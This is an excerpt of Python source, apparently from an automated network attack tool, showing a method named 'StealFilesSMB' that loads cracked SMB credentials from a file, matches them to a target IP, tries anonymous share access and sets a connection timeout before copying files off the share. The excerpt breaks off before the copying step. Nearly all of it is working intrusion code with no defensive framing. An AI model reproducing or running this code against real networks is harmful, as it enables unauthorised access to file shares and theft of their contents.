Steal files from the SMB share.
(self, ip, port, row, status_key)
| 108 | return [] |
| 109 | |
| 110 | def execute(self, ip, port, row, status_key): |
| 111 | """ |
| 112 | Steal files from the SMB share. |
| 113 | """ |
| 114 | try: |
| 115 | if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful |
| 116 | self.shared_data.ragnarorch_status = "StealFilesSMB" |
| 117 | logger.info(f"Stealing files from {ip}:{port}...") |
| 118 | # Wait a bit because it's too fast to see the status change |
| 119 | time.sleep(5) |
| 120 | # Get SMB credentials from the cracked passwords file |
| 121 | smbfile = self.shared_data.smbfile |
| 122 | credentials = {} |
| 123 | if os.path.exists(smbfile): |
| 124 | with open(smbfile, 'r') as f: |
| 125 | lines = f.readlines()[1:] # Skip the header |
| 126 | for line in lines: |
| 127 | parts = line.strip().split(',') |
| 128 | if parts[1] == ip: |
| 129 | share = parts[3] |
| 130 | user = parts[4] |
| 131 | password = parts[5] |
| 132 | if share not in credentials: |
| 133 | credentials[share] = [] |
| 134 | credentials[share].append((user, password)) |
| 135 | logger.info(f"Found credentials for {len(credentials)} shares on {ip}") |
| 136 | |
| 137 | def try_anonymous_access(): |
| 138 | """ |
| 139 | Try to access SMB shares without credentials. |
| 140 | """ |
| 141 | try: |
| 142 | conn = self.connect_smb(ip, '', '') |
| 143 | shares = self.list_shares(conn) |
| 144 | return conn, shares |
| 145 | except Exception as e: |
| 146 | logger.info(f"Anonymous access to {ip} failed: {e}") |
| 147 | return None, None |
| 148 | |
| 149 | if not credentials and not try_anonymous_access(): |
| 150 | logger.error(f"No valid credentials found for {ip}. Skipping...") |
| 151 | return 'failed' |
| 152 | |
| 153 | def timeout(): |
| 154 | """ |
| 155 | Timeout function to stop the execution if no SMB connection is established. |
| 156 | """ |
| 157 | if not self.smb_connected: |
| 158 | logger.error(f"No SMB connection established within 4 minutes for {ip}. Marking as failed.") |
| 159 | self.stop_execution = True |
| 160 | |
| 161 | timer = Timer(240, timeout) # 4 minutes timeout |
| 162 | timer.start() |
| 163 | |
| 164 | # Attempt anonymous access first |
| 165 | success = False |
| 166 | conn, shares = try_anonymous_access() |
| 167 | if conn and shares: |
nothing calls this directly
no test coverage detected